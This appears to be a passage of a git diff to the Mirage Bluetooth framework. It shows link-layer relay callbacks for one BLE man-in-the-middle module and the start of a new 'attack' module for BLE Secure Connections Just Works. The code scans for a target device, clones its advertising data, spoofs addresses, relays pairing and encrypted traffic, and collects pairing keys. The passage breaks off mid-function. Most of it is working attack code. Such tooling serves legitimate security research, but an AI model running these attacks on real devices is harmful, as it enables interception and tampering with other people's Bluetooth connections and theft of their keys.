+ @module.scenarioSignal("onSlaveLLLengthReq") + def slaveLLLengthReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLLengthReq") + def masterLLLengthReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLLengthRsp") + def slaveLLLengthRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLLengthRsp") + def masterLLLengthRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyReq") + def slaveLLPhyReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyReq") + def masterLLPhyReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyRsp") + def slaveLLPhyRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyRsp") + def masterLLPhyRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyUpdateInd") + def slaveLLPhyUpdateInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyUpdateInd") + def masterLLPhyUpdateInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLMinUsedChannelsInd") + def slaveLLMinUsedChannelsInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLMinUsedChannelsInd") + def masterLLMinUsedChannelsInd(self, packet): + io.info("Master: " + packet.toString()) + + # TODO: Callbacks, which are by the time of writing not supported by Dongle + # @module.scenarioSignal("onSlaveLLCTEReq") + # def slaveLLCTEReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCTEReq") + # def masterLLCTEReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCTERsp") + # def slaveLLCTERsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCTERsp") + # def masterLLCTERsp(self, packet): + # io.info("Master: " + packet.toString()) + + # # @module.scenarioSignal("onSlaveLLPeriodicSyncInd") + # def slaveLLPeriodicSyncInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPeriodicSyncInd") + # def masterLLPeriodicSyncInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLClockAccuracyReq") + # def slaveLLClockAccuracyReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLClockAccuracyReq") + # def masterLLClockAccuracyReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLClockAccuracyRsp") + # def slaveLLClockAccuracyRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLClockAccuracyRsp") + # def masterLLClockAccuracyRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISReq") + # def slaveLLCISReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISReq") + # def masterLLCISReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISRsp") + # def slaveLLCISRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISRsp") + # def masterLLCISRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISInd") + # def slaveLLCISInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISInd") + # def masterLLCISInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISTerminateInd") + # def slaveLLCISTerminateInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISTerminateInd") + # def masterLLCISTerminateInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLPowerControlReq") + # def slaveLLPowerControlReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPowerControlReq") + # def masterLLPowerControlReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLPowerControlRsp") + # def slaveLLPowerControlRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPowerControlRsp") + # def masterLLPowerControlRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLChangeInd") + # def slaveLLChangeInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLChangeInd") + # def masterLLChangeInd(self, packet): + # io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onMasterLLEncCtrl") + def masterLLEncCtrl(self, packet): + io.info("Master: " + packet.toString()) + if packet.direction == 1: + return + # Check if packet new + if ( + self.master_enc_ctrl_payload != packet.encData + or self.master_enc_ctrl_sn != packet.sn + or self.master_enc_ctrl_nesn != packet.nesn + ): + self.master_enc_ctrl_sn = packet.sn + self.master_enc_ctrl_nesn = packet.nesn + self.master_enc_ctrl_payload = packet.encData + + io.info("Master: Redirecting to slave...") + self.a2sEmitter.sendp( + ble.BLELLEncCtrl( + encOpcode=packet.encOpcode, + sn=packet.sn, + nesn=packet.nesn, + encData=packet.encData, + direction=packet.direction, + ) + ) + if self.start_enc_req and packet.getPayloadLength() == 5: + self.master_start_enc_rsp = True + + @module.scenarioSignal("onSlaveLLEncCtrl") + def slaveLLEncCtrl(self, packet): + io.info("Slave: " + packet.toString()) + if packet.direction == 1: + return + # Check if packet new + if ( + self.slave_enc_ctrl_payload != packet.encData + or self.slave_enc_ctrl_sn != packet.sn + or self.slave_enc_ctrl_nesn != packet.nesn + ): + self.slave_enc_ctrl_sn = packet.sn + self.slave_enc_ctrl_nesn = packet.nesn + self.slave_enc_ctrl_payload = packet.encData + + io.info("Slave: Redirecting to master...") + self.a2mEmitter.sendp( + ble.BLELLEncCtrl( + encOpcode=packet.encOpcode, + sn=packet.sn, + nesn=packet.nesn, + encData=packet.encData, + direction=packet.direction, + ) + ) + if self.master_start_enc_rsp and packet.getPayloadLength() == 5: + self.slave_start_enc_rsp = True + + @module.scenarioSignal("onMasterLLEncData") + def masterLLEncData(self, packet): + io.info("Master: " + packet.toString()) + io.info("Master: Redirecting to slave...") + self.a2sEmitter.sendp( + ble.BLELLEncData( + PB=packet.PB, + length=packet.length, + payload=packet.payload, + ) + ) + + @module.scenarioSignal("onSlaveLLEncData") + def slaveLLEncData(self, packet): + io.info("Slave: " + packet.toString()) + io.info("Slave: Redirecting to master...") + self.a2mEmitter.sendp( + ble.BLELLEncData( + PB=packet.PB, + length=packet.length, + payload=packet.payload, + ) + ) + + def registerEvents(self): + + # Connect Callbacks + self.a2mReceiver.onEvent("BLEConnectResponse", callback=self.connect) + + # Disconnect Callbacks + self.a2mReceiver.onEvent("BLEDisconnect", callback=self.disconnectMaster) + self.a2sReceiver.onEvent("BLEDisconnect", callback=self.disconnectSlave) + + # Error Callback + self.a2sReceiver.onEvent("BLEErrorResponse", callback=self.errorResponse) + + # Write Callbacks + self.a2mReceiver.onEvent("BLEWriteCommand", callback=self.writeCommand) + self.a2mReceiver.onEvent("BLEWriteRequest", callback=self.writeRequest) + self.a2sReceiver.onEvent("BLEWriteResponse", callback=self.writeResponse) + + # Read Callbacks + self.a2mReceiver.onEvent("BLEReadRequest", callback=self.read) + self.a2sReceiver.onEvent("BLEReadResponse", callback=self.readResponse) + self.a2mReceiver.onEvent("BLEReadBlobRequest", callback=self.readBlob) + self.a2sReceiver.onEvent("BLEReadBlobResponse", callback=self.readBlobResponse) + + # Notification Callback + self.a2sReceiver.onEvent( + "BLEHandleValueNotification", callback=self.notification + ) + self.a2sReceiver.onEvent("BLEHandleValueIndication", callback=self.indication) + self.a2mReceiver.onEvent( + "BLEHandleValueConfirmation", callback=self.confirmation + ) + + # Find Information Callbacks + self.a2mReceiver.onEvent( + "BLEFindInformationRequest", callback=self.findInformation + ) + self.a2sReceiver.onEvent( + "BLEFindInformationResponse", callback=self.findInformationResponse + ) + + # Find Type Value Callbacks + self.a2mReceiver.onEvent( + "BLEFindByTypeValueRequest", callback=self.findByTypeValueRequest + ) + self.a2sReceiver.onEvent( + "BLEFindByTypeValueResponse", callback=self.findByTypeValueResponse + ) + + # Read By Callbacks + self.a2mReceiver.onEvent("BLEReadByTypeRequest", callback=self.readByType) + self.a2mReceiver.onEvent( + "BLEReadByGroupTypeRequest", callback=self.readByGroupType + ) + self.a2sReceiver.onEvent( + "BLEReadByTypeResponse", callback=self.readByTypeResponse + ) + self.a2sReceiver.onEvent( + "BLEReadByGroupTypeResponse", callback=self.readByGroupTypeResponse + ) + + # MTU Callbacks + self.a2mReceiver.onEvent( + "BLEExchangeMTURequest", callback=self.exchangeMtuRequest + ) + self.a2sReceiver.onEvent( + "BLEExchangeMTUResponse", callback=self.exchangeMtuResponse + ) + + # Connection Parameter Update Callbacks + self.a2mReceiver.onEvent( + "BLEConnectionParameterUpdateResponse", + callback=self.masterConnectionParameterUpdateResponse, + ) + + self.a2sReceiver.onEvent( + "BLEConnectionParameterUpdateRequest", + callback=self.slaveConnectionParameterUpdateRequest, + ) + + # Security Manager Callbacks + self.a2mReceiver.onEvent("BLEPairingRequest", callback=self.pairingRequest) + self.a2sReceiver.onEvent("BLEPairingResponse", callback=self.pairingResponse) + self.a2sReceiver.onEvent("BLESecurityRequest", callback=self.securityRequest) + self.a2mReceiver.onEvent( + "BLEPairingConfirm", callback=self.masterPairingConfirm + ) + self.a2sReceiver.onEvent("BLEPairingConfirm", callback=self.slavePairingConfirm) + self.a2mReceiver.onEvent("BLEPairingRandom", callback=self.masterPairingRandom) + self.a2sReceiver.onEvent("BLEPairingRandom", callback=self.slavePairingRandom) + self.a2sReceiver.onEvent("BLEPairingFailed", callback=self.slavePairingFailed) + self.a2mReceiver.onEvent("BLEPairingFailed", callback=self.masterPairingFailed) + + self.a2sReceiver.onEvent( + "BLEEncryptionInformation", callback=self.slaveEncryptionInformation + ) + self.a2sReceiver.onEvent( + "BLEMasterIdentification", callback=self.slaveMasterIdentification + ) + self.a2sReceiver.onEvent( + "BLEIdentityInformation", callback=self.slaveIdentityInformation + ) + self.a2sReceiver.onEvent( + "BLEIdentityAddressInformation", + callback=self.slaveIdentityAddressInformation, + ) + self.a2sReceiver.onEvent( + "BLESigningInformation", callback=self.slaveSigningInformation + ) + + self.a2mReceiver.onEvent( + "BLEEncryptionInformation", callback=self.masterEncryptionInformation + ) + self.a2mReceiver.onEvent( + "BLEMasterIdentification", callback=self.masterMasterIdentification + ) + self.a2mReceiver.onEvent( + "BLEIdentityInformation", callback=self.masterIdentityInformation + ) + self.a2mReceiver.onEvent( + "BLEIdentityAddressInformation", + callback=self.masterIdentityAddressInformation, + ) + self.a2mReceiver.onEvent( + "BLESigningInformation", callback=self.masterSigningInformation + ) + + self.a2sReceiver.onEvent("BLEPublicKey", callback=self.slavePublicKey) + self.a2mReceiver.onEvent("BLEPublicKey", callback=self.masterPublicKey) + + self.a2sReceiver.onEvent("BLEDHKeyCheck", callback=self.slaveDHKEyCheck) + self.a2mReceiver.onEvent("BLEDHKeyCheck", callback=self.masterDHKeyCheck) + + def registerLLEvents(self): + + # LL Callbacks + self.a2sReceiver.onEvent( + "BLELLConnUpdateInd", callback=self.slaveLLConnUpdateInd + ) + self.a2mReceiver.onEvent( + "BLELLConnUpdateInd", callback=self.masterLLConnUpdateInd + ) + self.a2sReceiver.onEvent("BLELLChanMapInd", callback=self.slaveLLChannelMapInd) + self.a2mReceiver.onEvent("BLELLChanMapInd", callback=self.masterLLChannelMapInd) + self.a2sReceiver.onEvent("BLELLTerminateInd", callback=self.slaveLLTerminateInd) + self.a2mReceiver.onEvent( + "BLELLTerminateInd", callback=self.masterLLTerminateInd + ) + + self.a2mReceiver.onEvent("BLELLEncReq", callback=self.masterLLEncReq) + + self.a2sReceiver.onEvent("BLELLEncRsp", callback=self.slaveLLEncRsp) + + self.a2sReceiver.onEvent("BLELLStartEncReq", callback=self.slaveLLStartEncReq) + + self.a2sReceiver.onEvent("BLELLUnknownRsp", callback=self.slaveLLUnknownRsp) + self.a2mReceiver.onEvent("BLELLUnknownRsp", callback=self.masterLLUnknownRsp) + + self.a2sReceiver.onEvent("BLELLFeatureReq", callback=self.slaveLLFeatureReq) + self.a2mReceiver.onEvent("BLELLFeatureReq", callback=self.masterLLFeatureReq) + + self.a2sReceiver.onEvent("BLELLFeatureRsp", callback=self.slaveLLFeatureRsp) + self.a2mReceiver.onEvent("BLELLFeatureRsp", callback=self.masterLLFeatureRsp) + + self.a2mReceiver.onEvent("BLELLPauseEncReq", callback=self.masterLLPauseEncReq) + + self.a2sReceiver.onEvent("BLELLPauseEncRsp", callback=self.slaveLLPauseEncRsp) + self.a2mReceiver.onEvent("BLELLPauseEncRsp", callback=self.masterLLPauseEncRsp) + + self.a2sReceiver.onEvent("BLELLVersionInd", callback=self.slaveLLVersionInd) + self.a2mReceiver.onEvent("BLELLVersionInd", callback=self.masterLLVersionInd) + + self.a2sReceiver.onEvent("BLELLRejectInd", callback=self.slaveLLRejectInd) + self.a2mReceiver.onEvent("BLELLRejectInd", callback=self.masterLLRejectInd) + + self.a2sReceiver.onEvent( + "BLELLSlaveFeatureReq", callback=self.slaveLLSlaveFeatureReq + ) + + self.a2sReceiver.onEvent("BLELLConnParamReq", callback=self.slaveLLConnParamReq) + self.a2mReceiver.onEvent( + "BLELLConnParamReq", callback=self.masterLLConnParamReq + ) + self.a2sReceiver.onEvent("BLELLConnParamRsp", callback=self.slaveLLConnParamRsp) + self.a2mReceiver.onEvent( + "BLELLConnParamRsp", callback=self.masterLLConnParamRsp + ) + + self.a2sReceiver.onEvent("BLELLRejectExtInd", callback=self.slaveLLRejectExtInd) + self.a2mReceiver.onEvent( + "BLELLRejectExtInd", callback=self.masterLLRejectExtInd + ) + + self.a2sReceiver.onEvent("BLELLPingReq", callback=self.slaveLLPingReq) + self.a2mReceiver.onEvent("BLELLPingReq", callback=self.masterLLPingReq) + + self.a2sReceiver.onEvent("BLELLPingRsp", callback=self.slaveLLPingRsp) + self.a2mReceiver.onEvent("BLELLPingRsp", callback=self.masterLLPingRsp) + + self.a2sReceiver.onEvent("BLELLDataLenReq", callback=self.slaveLLLengthReq) + self.a2mReceiver.onEvent("BLELLDataLenReq", callback=self.masterLLLengthReq) + + self.a2sReceiver.onEvent("BLELLDataLenRsp", callback=self.slaveLLLengthRsp) + self.a2mReceiver.onEvent("BLELLDataLenRsp", callback=self.masterLLLengthRsp) + + self.a2sReceiver.onEvent("BLELLPhyReq", callback=self.slaveLLPhyReq) + self.a2mReceiver.onEvent("BLELLPhyReq", callback=self.masterLLPhyReq) + + self.a2sReceiver.onEvent("BLELLPhyRsp", callback=self.slaveLLPhyRsp) + self.a2mReceiver.onEvent("BLELLPhyRsp", callback=self.masterLLPhyRsp) + + self.a2sReceiver.onEvent("BLELLUpdPHYInd", callback=self.slaveLLPhyUpdateInd) + self.a2mReceiver.onEvent("BLELLUpdPHYInd", callback=self.masterLLPhyUpdateInd) + + self.a2sReceiver.onEvent( + "BLELLMinUsedChann", callback=self.slaveLLMinUsedChannelsInd + ) + self.a2mReceiver.onEvent( + "BLELLMinUsedChann", callback=self.masterLLMinUsedChannelsInd + ) + + # TODO: Callbacks, which are by the time of writing not supported by Dongle + # self.a2sReceiver.onEvent("BLELLCTEReq", callback=self.slaveLLCTEReq) + # self.a2mReceiver.onEvent("BLELLCTEReq", callback=self.masterLLCTEReq) + + # self.a2sReceiver.onEvent("BLELLCTERsp", callback=self.slaveLLCTERsp) + # self.a2mReceiver.onEvent("BLELLCTERsp", callback=self.masterLLCTERsp) + + # self.a2sReceiver.onEvent("BLELLPeriodicSyncInd", callback=self.slaveLLPeriodicSyncInd) + # self.a2mReceiver.onEvent("BLELLPeriodicSyncInd", callback=self.masterLLPeriodicSyncInd) + + # self.a2sReceiver.onEvent("BLELLClockAccuracyReq", callback=self.slaveLLClockAccuracyReq) + # self.a2mReceiver.onEvent("BLELLClockAccuracyReq", callback=self.masterLLClockAccuracyReq) + + # self.a2sReceiver.onEvent("BLELLClockAccuracyRsp", callback=self.slaveLLClockAccuracyRsp) + # self.a2mReceiver.onEvent("BLELLClockAccuracyRsp", callback=self.masterLLClockAccuracyRsp) + + # self.a2sReceiver.onEvent("BLELLCISReq", callback=self.slaveLLCISReq) + # self.a2mReceiver.onEvent("BLELLCISReq", callback=self.masterLLCISReq) + + # self.a2sReceiver.onEvent("BLELLCISRsp", callback=self.slaveLLCISRsp) + # self.a2mReceiver.onEvent("BLELLCISRsp", callback=self.masterLLCISRsp) + + # self.a2sReceiver.onEvent("BLELLCISInd", callback=self.slaveLLCISInd) + # self.a2mReceiver.onEvent("BLELLCISInd", callback=self.masterLLCISInd) + + # self.a2sReceiver.onEvent("BLELLCISTerminateInd", callback=self.slaveLLCISTerminateInd) + # self.a2mReceiver.onEvent("BLELLCISTerminateInd", callback=self.masterLLCISTerminateInd) + + # self.a2sReceiver.onEvent("BLELLPowerControlReq", callback=self.slaveLLPowerControlReq) + # self.a2mReceiver.onEvent("BLELLPowerControlReq", callback=self.masterLLPowerControlReq) + + # self.a2sReceiver.onEvent("BLELLPowerControlRsp", callback=self.slaveLLPowerControlRsp) + # self.a2mReceiver.onEvent("BLELLPowerControlRsp", callback=self.masterLLPowerControlRsp) + + # self.a2sReceiver.onEvent("BLELLChangeInd", callback=self.slaveLLChangeInd) + # self.a2mReceiver.onEvent("BLELLChangeInd", callback=self.masterLLChangeInd) + + self.a2sReceiver.onEvent("BLELLEncCtrl", callback=self.slaveLLEncCtrl) + self.a2mReceiver.onEvent("BLELLEncCtrl", callback=self.masterLLEncCtrl) + + self.a2sReceiver.onEvent("BLELLEncData", callback=self.slaveLLEncData) + self.a2mReceiver.onEvent("BLELLEncData", callback=self.masterLLEncData) + + def checkParametersValidity(self): + if self.args["ADVERTISING_STRATEGY"] not in ("preconnect", "flood"): + io.fail("You have to select a valid strategy : 'flood' or 'preconnect'") + return self.nok() + return None + + def run(self): + validity = self.checkParametersValidity() + if validity is not None: + return validity + + self.initEmittersAndReceivers() + self.a2mReceiver.storeCallbacks() + self.a2sReceiver.storeCallbacks() + if self.checkCapabilities(): + if self.loadScenario(): + io.info("Scenario loaded !") + self.startScenario() + + self.a2mEmitter.setZephyrMITMFlag(0x01) + self.a2sEmitter.setZephyrMITMFlag(0x01) + + self.registerLLEvents() + # Advertising Callbacks + self.a2sReceiver.onEvent("BLEAdvertisement", callback=self.scanStage) + + io.info("Entering SCAN stage ...") + self.setStage(self.BLEMitmStage.SCAN) + + self.a2sReceiver.setScan(enable=True) + + self.waitUntilStage(self.BLEMitmStage.CLONE) + + self.a2sReceiver.setScan(enable=False) + + if self.args["ADVERTISING_STRATEGY"] == "preconnect": + self.connectOnSlave() + + self.a2mEmitter.setAdvertising(enable=True) + io.info("Entering WAIT_CONNECTION stage ...") + self.setStage(self.BLEMitmStage.WAIT_CONNECTION) + + self.registerEvents() + + self.waitUntilStage(self.BLEMitmStage.STOP) + + self.a2mReceiver.restoreCallbacks() + self.a2sReceiver.restoreCallbacks() + # Clean up connections + if self.a2mEmitter.isConnected(): + self.a2mEmitter.sendp(ble.BLEDisconnect()) + while self.a2mEmitter.isConnected(): + utils.wait(seconds=0.01) + if self.a2sEmitter.isConnected(): + self.a2sEmitter.sendp(ble.BLEDisconnect()) + while self.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + + moduleResult = {} + if self.scenarioEnabled: + scenarioResult = self.endScenario({}) + moduleResult["scenarioResult"] = scenarioResult + # Reset public address + self.a2mEmitter.setAddress("00:00:00:00:00", random=False) + self.a2sEmitter.setAddress("00:00:00:00:00", random=False) + io.success("Result: {}".format(moduleResult)) + return self.ok(moduleResult) + else: + io.fail( + "Interfaces provided (" + + str(self.args["INTERFACE"]) + + ") are not able to run this module." + ) + return self.nok() diff --git a/mirage/modules/ble_sc_mitm.py b/mirage/modules/ble_sc_mitm.py new file mode 100644 index 0000000..ffdc861 --- /dev/null +++ b/mirage/modules/ble_sc_mitm.py @@ -0,0 +1,1790 @@ +import os, queue, threading +from enum import IntEnum +from mirage.libs import utils, ble +from mirage.core import module +from mirage.libs.ble_utils.sc_crypto import SCCryptoInstance, CryptoUtils +from binascii import unhexlify +from mirage.libs.ble_utils.packets import * +from mirage.libs import io +from mirage.libs.ble_utils.constants import LL_ERROR_CODES as errorCode + + +class BLEMitmStage(IntEnum): + SCAN = 1 + CLONE = 2 + WAIT_CONNECTION = 3 + MASTER_CONNECTION = 4 + ACTIVE_MITM = 5 + STOP = 6 + + +class ble_sc_mitm(module.WirelessModule): + def checkCapabilities(self): + a2scap = self.a2sEmitter.hasCapabilities( + "COMMUNICATING_AS_MASTER", "INITIATING_CONNECTION", "SCANNING" + ) + a2mcap = self.a2mEmitter.hasCapabilities( + "COMMUNICATING_AS_SLAVE", "RECEIVING_CONNECTION", "ADVERTISING" + ) + return a2scap and a2mcap + + def init(self): + self.technology = "ble" + self.type = "attack" + self.description = "Man-in-the-Middle module for Bluetooth Low Energy devices with Secure Connections Just Works" + self.args = { + "INTERFACE1": "hci0", # must allow to change BD Address + "INTERFACE2": "hci1", + "TARGET": "FC:58:FA:A1:26:6B", + "CONNECTION_TYPE": "public", + "SLAVE_SPOOFING": "yes", + "MASTER_SPOOFING": "no", + "ADVERTISING_STRATEGY": "preconnect", # "preconnect" (btlejuice) or "flood" (gattacker) + "SHOW_SCANNING": "yes", + "SCENARIO": "", + "PACKET_TRACE": "", + "COMMAND": "", + "DUCKYSCRIPT": "", + } + self.stage = BLEMitmStage.SCAN + + self.slaveSCCrypto = SCCryptoInstance() + + self.slaveLocalAddress = None + self.slaveLocalAddressType = None + self.slaveRemoteAddress = None + self.slaveRemoteAddressType = None + self.slaveLocalNonce = None + self.slaveRemoteConfirm = None + self.slaveLocalIOCap = None + self.slaveRemoteIOCap = None + self.slaveInitiatorKeyDistribution = None + self.slaveResponderKeyDistribution = None + + self.masterSCCrypto = SCCryptoInstance() + + self.masterLocalAddress = None + self.masterLocalAddressType = None + self.masterRemoteAddress = None + self.masterRemoteAddressType = None + self.masterLocalNonce = None + self.masterRemoteConfirm = None + self.masterLocalIOCap = None + self.masterRemoteIOCap = None + self.masterInitiatorKeyDistribution = None + self.masterResponderKeyDistribution = None + # Results + self.slaveIRK = None + self.slaveCSRK = None + self.slaveRemoteIRK = None + self.slaveremoteCSRK = None + self.slaveRemoteIdentityAddress = None + self.slavePaired = False + + self.masterIRK = None + self.masterCSRK = None + self.masterRemoteIRK = None + self.masterRemoteCSRK = None + self.masterRemoteIdentityAddress = None + self.masterPaired = False + + # CLONE stage related + self.addrType = None + self.address = None + self.intervalMin = None + self.intervalMax = None + self.dataAdvInd = None + self.dataScanRsp = None + + # Values from UpdateConnectionParametersRequest + self.timeoutMult = None + self.slaveLatency = None + self.minInterval = None + self.maxInterval = None + + # Packet Queues + self.slaveQueue = queue.Queue() + self.masterQueue = queue.Queue() + # Mutex for pairing finished check + self.mutex = threading.Lock() + + # Scenario-related methods + @module.scenarioSignal("onStart") + def startScenario(self): + pass + + @module.scenarioSignal("onEnd") + def endScenario(self, result): + return result + + def initMitMDevices(self): + attackerToSlaveInterface = self.args["INTERFACE1"] + attackerToMasterInterface = self.args["INTERFACE2"] + + self.a2sEmitter = self.getEmitter(interface=attackerToSlaveInterface) + self.a2sReceiver = self.getReceiver(interface=attackerToSlaveInterface) + self.a2sReceiver.enableRecvOfTransmittedLLPackets(True) + + self.a2mEmitter = self.getEmitter(interface=attackerToMasterInterface) + self.a2mReceiver = self.getReceiver(interface=attackerToMasterInterface) + self.a2mReceiver.enableRecvOfTransmittedLLPackets(True) + + if not self.a2mEmitter.isAddressChangeable() and utils.booleanArg( + self.args["SLAVE_SPOOFING"] + ): + io.warning( + "Interface " + + attackerToMasterInterface + + " is not able to change its address : " + "Slave address spoofing will not be enabled !" + ) + + if not self.a2sEmitter.isAddressChangeable() and utils.booleanArg( + self.args["MASTER_SPOOFING"] + ): + io.warning( + "Interface " + + attackerToMasterInterface + + " is not able to change its address : " + "Master address spoofing will not be enabled !" + ) + + def initPacketLogDevices(self): + self.sPacketLogger = self.getEmitter( + interface="slave_" + self.args["PACKET_TRACE"] + ) + self.mPacketLogger = self.getEmitter( + interface="master_" + self.args["PACKET_TRACE"] + ) + + # Configuration methods + def initEmittersAndReceivers(self): + self.initMitMDevices() + if self.args["PACKET_TRACE"] != "": + self.initPacketLogDevices() + + # Stage related methods + def getStage(self): + return self.stage + + @module.scenarioSignal("onStageChange") + def setStage(self, value): + self.stage = value + + def waitUntilStage(self, stage): + while self.getStage() != stage: + utils.wait(seconds=0.01) + + def checkPairingComplete(self): + self.mutex.acquire() + if self.masterPaired and self.slavePaired: + self.setStage(BLEMitmStage.ACTIVE_MITM) + io.success("Entering ACTIVE_MITM stage ...") + while not self.slaveQueue.empty(): + self.a2mEmitter.sendp(self.slaveQueue.get()) + + while not self.masterQueue.empty(): + self.a2sEmitter.sendp(self.masterQueue.get()) + + self.mutex.release() + + # Advertising related methods + @module.scenarioSignal("onSlaveAdvertisement") + def scanStage(self, packet): + if utils.booleanArg(self.args["SHOW_SCANNING"]): + io.info("{}".format(packet)) + if self.getStage() == BLEMitmStage.SCAN: + if utils.addressArg(self.args["TARGET"]) == packet.addr.upper(): + if packet.type == "ADV_IND": + self.address = utils.addressArg(self.args["TARGET"]) + data = packet.getRawDatas() + self.intervalMin = packet.intervalMin + self.intervalMax = packet.intervalMax + self.addrType = packet.addrType + self.dataAdvInd = data + elif packet.type == "SCAN_RSP": + self.dataScanRsp = packet.getRawDatas() + + if self.dataAdvInd is not None and self.dataScanRsp is not None: + self.cloneStage( + self.address, + self.dataAdvInd, + self.dataScanRsp, + self.intervalMin, + self.intervalMax, + self.addrType, + ) + + @module.scenarioSignal("onCloning") + def cloneStage( + self, address, data, dataResponse, intervalMin, intervalMax, addrType + ): + io.success("Entering CLONE stage ...") + self.setStage(BLEMitmStage.CLONE) + + if self.args["ADVERTISING_STRATEGY"] == "flood": + intervalMin = 33 + intervalMax = 34 + + if utils.booleanArg(self.args["SLAVE_SPOOFING"]): + if address != self.a2mEmitter.getAddress(): + self.a2mEmitter.setAddress(address, random=1 == addrType) + + self.masterLocalAddress = address + self.masterLocalAddressType = addrType + else: + self.masterLocalAddress = self.a2sEmitter.getAddress() + self.masterLocalAddressType = ( + 0 if self.a2sEmitter.getAddressMode() == "public" else 1 + ) + + self.advData = data + self.intervalMin = intervalMin + self.intervalMax = intervalMax + self.daType = addrType + self.oaType = addrType + self.a2mEmitter.setScanningParameters(data=dataResponse) + self.a2mEmitter.setAdvertisingParameters( + data=data, + intervalMin=intervalMin, + intervalMax=intervalMax, + daType=addrType, + oaType=addrType, + ) + + # Connection related methods + @module.scenarioSignal("onSlaveConnect") + def connectOnSlave(self, initiatorType="public"): + while self.a2sEmitter.getMode() != "NORMAL": + utils.wait(seconds=1) + print(self.a2sEmitter.getMode()) + + address = utils.addressArg(self.args["TARGET"]) + connectionType = self.args["CONNECTION_TYPE"] + + self.responderAddress = address + self.responderAddressType = ( + b"\x00" if self.args["CONNECTION_TYPE"] == "public" else b"\x01" + ) + io.info("Connecting to slave " + address + "...") + self.a2sEmitter.sendp( + ble.BLEConnect( + dstAddr=address, type=connectionType, initiatorType=initiatorType + ) + ) + while not self.a2sEmitter.isConnected(): + utils.wait(seconds=0.5) + io.success("Connected on slave : " + self.a2sReceiver.getCurrentConnection()) + if not self.slavePaired and ( + not utils.booleanArg(self.args["MASTER_SPOOFING"]) + or ( + utils.booleanArg(self.args["MASTER_SPOOFING"]) + and self.getStage() == BLEMitmStage.MASTER_CONNECTION + ) + ): + keyboard = False + yesno = False + display = False + + ct2 = False + mitm = False + bonding = True + secureConnections = True + keyPress = False + + self.slaveInitiatorInputOutputCapability = ble.InputOutputCapability( + keyboard=keyboard, display=display, yesno=yesno + ) + self.slaveInitiatorAuthReq = ble.AuthReqFlag( + ct2=ct2, + mitm=mitm, + bonding=bonding, + secureConnections=secureConnections, + keypress=keyPress, + ) + self.slaveInitiatorKeyDistribution = ble.KeyDistributionFlag( + linkKey=True, encKey=True, idKey=False, signKey=True + ) + oob = b"\x00" + self.slaveLocalIOCap = ( + self.slaveInitiatorAuthReq.data + + oob + + self.slaveInitiatorInputOutputCapability.data + ) + + request = ble.BLEPairingRequest( + authentication=self.slaveInitiatorAuthReq.data[0], + inputOutputCapability=self.slaveInitiatorInputOutputCapability.data[0], + initiatorKeyDistribution=self.slaveInitiatorKeyDistribution.data[0], + responderKeyDistribution=self.slaveInitiatorKeyDistribution.data[0], + ) + io.info("{}".format(request)) + self.a2sEmitter.sendp(request) + + @module.scenarioSignal("onMasterConnect") + def connect(self, packet): + if self.getStage() == BLEMitmStage.WAIT_CONNECTION: + self.setStage(BLEMitmStage.MASTER_CONNECTION) + io.success("Master connected : " + packet.srcAddr) + + if self.args["ADVERTISING_STRATEGY"] == "preconnect" and utils.booleanArg( + self.args["MASTER_SPOOFING"] + ): + self.a2sEmitter.sendp(ble.BLEDisconnect()) + while self.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + io.info("Giving slave 1s time to reset...") + utils.wait(seconds=1) + + if utils.booleanArg(self.args["MASTER_SPOOFING"]): + self.a2sEmitter.setAddress( + packet.srcAddr, random=packet.type == "random" + ) + self.slaveLocalAddress = packet.srcAddr + self.slaveLocalAddressType = 0 if packet.type == "public" else 1 + + if 